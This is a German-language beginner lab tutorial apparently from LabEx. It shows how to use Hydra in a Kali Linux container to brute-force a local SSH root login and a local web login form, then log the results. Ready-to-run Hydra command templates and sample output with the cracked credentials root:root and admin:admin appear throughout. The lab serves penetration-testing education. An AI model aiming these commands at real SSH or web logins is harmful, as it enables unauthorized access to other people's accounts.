Kali-Passwortangriffe mit Hydra

Kali LinuxBeginner
Jetzt üben

Einführung

In diesem Lab erlernen Sie die Grundlagen des Ethical Hacking mit Kali Linux. Wir konzentrieren uns auf Passwortangriffstechniken mit Hydra, einem leistungsstarken Werkzeug für Brute-Force-Attacken. Das Ziel ist es zu verstehen, wie solche Angriffe funktionieren und warum komplexe Passwörter sowie sichere Systemkonfigurationen unerlässlich sind. Sie werden Angriffe auf SSH-Zugangsdaten und Web-Logins innerhalb einer kontrollierten LabEx-VM-Umgebung simulieren, was einen sicheren und legalen Rahmen für Ihre Übungen gewährleistet. Durch schrittweise Anleitungen erstellen Sie Wortlisten, führen Brute-Force-Angriffe aus und protokollieren die Ergebnisse zur Analyse. Alle Aufgaben werden in einem Kali-Linux-Container durchgeführt, der automatisch für Sie eingerichtet wird, sodass dieses Lab auch für absolute Anfänger problemlos zugänglich ist.

Umgebung einrichten und Hydra installieren

Im ersten Schritt bereiten Sie Ihre Arbeitsumgebung innerhalb des Kali-Linux-Containers vor und installieren Hydra, das Werkzeug für unsere Passwortangriffe. Wenn Sie das Terminal öffnen, befinden Sie sich automatisch in der Shell des Kali-Linux-Containers, sodass keine manuelle Einrichtung erforderlich ist.

Bestätigen Sie zunächst, dass Sie sich in der Kali-Linux-Umgebung befinden, indem Sie die Details des Betriebssystems überprüfen.

cat /etc/os-release

Sie sollten eine Ausgabe sehen, die bestätigt, dass Kali Linux ausgeführt wird.

PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
VERSION_ID="2025.3"
VERSION="2025.3"
VERSION_CODENAME=kali-rolling
ID=kali
ID_LIKE=debian
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
ANSI_COLOR="1;31"

Aktualisieren Sie als Nächstes die Paketliste, um sicherzustellen, dass Sie die neuesten Softwareversionen abrufen können.

apt update

Installieren Sie nun Hydra. Hydra ist ein vielseitiges Brute-Force-Tool, das zahlreiche Protokolle unterstützt. Das Flag -y bestätigt die Installation automatisch.

apt install -y hydra

Nachdem die Installation abgeschlossen ist, überprüfen Sie die Einsatzbereitschaft von Hydra, indem Sie das Hilfe-Menü aufrufen.

hydra -h

Die Ausgabe zeigt die Version von Hydra und die Syntax für die Verwendung an, was die korrekte Installation bestätigt.

Hydra v9.x (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] ...
...

Starten Sie schließlich den SSH-Dienst, der während der Umgebungseinrichtung vorkonfiguriert wurde. Dies dient uns als Ziel für unsere Brute-Force-Simulation.

service ssh start

Sie können überprüfen, ob der SSH-Dienst läuft, indem Sie seinen Status abfragen.

service ssh status

Sie sollten eine Meldung sehen, die besagt, dass der SSH-Dienst aktiv ist und läuft.

sshd is running.

Sie haben nun erfolgreich Ihre Umgebung eingerichtet, Hydra installiert und den SSH-Dienst für unsere Angriffssimulation gestartet.

Erstellen einer Wortliste für Brute-Force-Angriffe

Eine Wortliste ist eine einfache Textdatei, die potenzielle Passwörter enthält. Ein Tool wie Hydra nutzt diese Liste, um nacheinander Zugriffsversuche auf ein Ziel zu unternehmen. In diesem Schritt erstellen Sie eine kleine, benutzerdefinierte Wortliste für unsere simulierten Angriffe.

Wir verwenden den Texteditor nano, um eine Datei namens passwords.txt zu erstellen.

Installieren Sie zuerst den Editor nano.

apt install -y nano

Erstellen Sie nun die Wortlistendatei.

nano passwords.txt

Dieser Befehl öffnet eine neue Datei im nano-Editor. Geben Sie die folgenden gängigen Passwörter in den Editor ein, wobei jedes Passwort in einer neuen Zeile stehen muss.

admin
password
123456
test
root

Um die Datei zu speichern, drücken Sie Ctrl+O und bestätigen Sie den Dateinamen mit Enter. Um nano zu verlassen, drücken Sie Ctrl+X.

Überprüfen Sie nun, ob die Datei erstellt wurde, indem Sie den Inhalt des aktuellen Verzeichnisses auflisten.

ls

Sie sollten passwords.txt in der Ausgabe sehen, was bestätigt, dass Ihre Wortliste für die nächsten Schritte bereit ist.

passwords.txt

Durchführung eines erfolgreichen Brute-Force-Angriffs auf SSH

Jetzt verwenden Sie Hydra und Ihre Wortliste, um einen Brute-Force-Angriff gegen den SSH-Dienst (Secure Shell) durchzuführen, der auf Ihrem lokalen System läuft. SSH ist ein gängiges Protokoll für die sichere Fernverwaltung. Während der Einrichtung der Umgebung haben wir einen SSH-Server mit einem schwachen Passwort konfiguriert, das in unserer Wortliste enthalten ist. Dies macht die Demonstration realitätsnah.

Führen Sie den folgenden Befehl aus, um den Brute-Force-Angriff zu starten.

hydra -l root -P passwords.txt ssh://127.0.0.1

Lassen Sie uns diesen Befehl aufschlüsseln:

  • -l root: Dieses Flag gibt einen einzelnen Benutzernamen an, der getestet werden soll (hier root).
  • -P passwords.txt: Dieses Flag weist Hydra an, die Datei passwords.txt als Quelle für die Passwörter zu verwenden.
  • ssh://127.0.0.1: Dies spezifiziert das Zielprotokoll (SSH) und den Ziel-Host (127.0.0.1).

Da wir den SSH-Server für den Benutzer root mit dem Passwort root konfiguriert haben (welches in unserer Liste steht), wird Hydra die Zugangsdaten erfolgreich finden.

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 5 tasks per 1 server, overall 5 tasks, 5 login tries (l:1/p:5), ~1 try per task
[DATA] attacking ssh://127.0.0.1:22/
[22][ssh] host: 127.0.0.1   login: root   password: root
1 of 1 target successfully completed, 1 valid password found

Herzlichen Glückwunsch! Der Angriff war erfolgreich. Hydra hat herausgefunden, dass der Benutzername root mit dem Passwort root gültigen Zugriff auf den SSH-Dienst ermöglicht. Dies verdeutlicht, wie einfach schwache Passwörter durch Brute-Force-Tools entdeckt werden können.

Durchführung eines erfolgreichen Brute-Force-Angriffs auf ein Web-Login-Formular

Als Nächstes führen Sie einen Angriff auf ein Web-Login-Formular durch. Dies ist ein weiteres häufiges Ziel für Brute-Force-Attacken. Während der Umgebungseinrichtung haben wir einen einfachen Apache-Webserver mit einer anfälligen Login-Seite konfiguriert, die die Zugangsdaten admin:admin akzeptiert.

Stellen wir zunächst sicher, dass der Webserver läuft, indem wir ihn starten:

service apache2 start

Führen Sie nun den folgenden Befehl aus, um den Web-Login-Angriff zu starten.

hydra -l admin -P passwords.txt http-post-form://127.0.0.1/login.php:'user=^USER^&pass=^PASS^:F=Incorrect'

Untersuchen wir die Komponenten dieses Befehls:

  • -l admin: Spezifiziert den Benutzernamen admin.
  • -P passwords.txt: Verwendet Ihre Passwort-Wortliste.
  • http-post-form://127.0.0.1/login.php: Gibt das Zielprotokoll und die von uns erstellte Login-Seite an.
  • 'user=^USER^&pass=^PASS^:F=Incorrect': Dies ist das Herzstück des Web-Angriffsmoduls.
    • user=^USER^&pass=^PASS^: Definiert die Formularfelder. Hydra ersetzt ^USER^ und ^PASS^ durch die jeweils getesteten Zugangsdaten.
    • :F=Incorrect: Teilt Hydra mit, dass ein Login-Versuch fehlgeschlagen ist, wenn das Wort "Incorrect" in der Antwort des Servers gefunden wird.

Da unsere Webanwendung so konfiguriert ist, dass sie admin:admin akzeptiert (was in unserer Wortliste steht), wird Hydra die Zugangsdaten erfolgreich finden.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-02 01:33:09
[DATA] max 5 tasks per 1 server, overall 5 tasks, 5 login tries (l:1/p:5), ~1 try per task
[DATA] attacking http-post-form://127.0.0.1:80/login.php:user=^USER^&pass=^PASS^:F=Incorrect
[80][http-post-form] host: 127.0.0.1   login: admin   password: admin
1 of 1 target successfully completed, 1 valid password found

Hervorragend! Auch der Web-Angriff war erfolgreich. Dies zeigt, wie Hydra angepasst werden kann, um verschiedene Dienste anzugreifen, einschließlich Webanwendungen mit unsicheren Login-Formularen.

Protokollierung erfolgreicher Brute-Force-Ergebnisse

In diesem letzten Schritt lernen Sie, wie Sie die Ausgabe eines erfolgreichen Hydra-Angriffs protokollieren. Die Protokollierung ist eine entscheidende Praxis zur Dokumentation von Ergebnissen während eines Penetrationstests oder Sicherheitsaudits.

Sie werden den SSH-Angriff aus Schritt 3 erneut ausführen, aber diesmal speichern Sie die Ergebnisse in einer Datei.

hydra -l root -P passwords.txt ssh://127.0.0.1 -o attack_log.txt

Der neue Teil dieses Befehls ist:

  • -o attack_log.txt: Dieses Flag weist Hydra an, seine Ausgabe in der angegebenen Datei attack_log.txt zu speichern.

Der Befehl wird ausgeführt, zeigt die erfolgreichen Ergebnisse auf dem Bildschirm an und erstellt gleichzeitig eine detaillierte Logdatei.

Um den Inhalt der Logdatei anzuzeigen, verwenden Sie den Befehl cat.

cat attack_log.txt

Die Logdatei enthält eine Zusammenfassung des erfolgreichen Angriffs, einschließlich der entdeckten Zugangsdaten.

## Hydra v9.x run at 2025-09-02 01:33:36 on 127.0.0.1 ssh (hydra -l root -P passwords.txt -o attack_log.txt ssh://127.0.0.1)
[22][ssh] host: 127.0.0.1   login: root   password: root

Ausgezeichnet! Die Logdatei zeigt deutlich, dass Hydra erfolgreich die Zugangsdaten root:root für den SSH-Dienst ermittelt hat. Diese Art der detaillierten Protokollierung ist unerlässlich für:

  1. Dokumentation: Führen von Aufzeichnungen über erfolgreiche Penetrationstests.
  2. Berichterstattung: Bereitstellung von Beweisen für Kunden oder das Management.
  3. Analyse: Überprüfung von Angriffsmustern und Erfolgsquoten.
  4. Compliance: Erfüllung von Anforderungen bei Sicherheitsaudits.

Sie haben nun gelernt, wie man die Ergebnisse eines Hydra-Angriffs speichert, was sowohl die erfolgreiche Entdeckung von Zugangsdaten als auch ordnungsgemäße Dokumentationspraktiken im Ethical Hacking demonstriert.

Zusammenfassung

In diesem Lab haben Sie erfolgreich die Grundlagen des Ethical Hacking erlernt, indem Sie reale Passwortangriffe mit Hydra in einem Kali-Linux-Container durchgeführt haben. Sie begannen mit der Installation von Hydra und der Einrichtung anfälliger Dienste (SSH- und Webserver) und erstellten anschließend eine benutzerdefinierte Wortliste mit schwachen Passfrequenzen. Durch praktische Erfahrung haben Sie erfolgreich Brute-Force-Angriffe gegen SSH-Zugangsdaten und Web-Login-Formulare ausgeführt und dabei erlebt, wie schnell schwache Passwörter kompromittiert werden können. Schließlich lernten Sie, Angriffsergebnisse für eine ordnungsgemäße Dokumentation und Analyse zu protokollieren.

Wichtige Erkenntnisse aus diesem Lab:

  1. Schwache Passwörter sind leicht zu knacken – Sowohl root:root als auch admin:admin wurden schnell entdeckt.
  2. Es existieren mehrere Angriffsvektoren – SSH-Dienste und Webanwendungen sind häufige Ziele.
  3. Eine ordnungsgemäße Dokumentation ist entscheidend – Das Protokollieren von Ergebnissen ist für Penetrationstests unerlässlich.
  4. Verteidigungsbewusstsein – Das Verständnis von Angriffen hilft dabei, bessere Sicherheitsmaßnahmen zu implementieren.

Diese praktischen Fähigkeiten bilden eine solide Grundlage für das Verständnis der Mechanik von Brute-Force-Angriffen und verdeutlichen die kritische Bedeutung von starken Passwörtern, Kontosperrungsrichtlinien und sicheren Systemkonfigurationen bei der Abwehr solcher Attacken.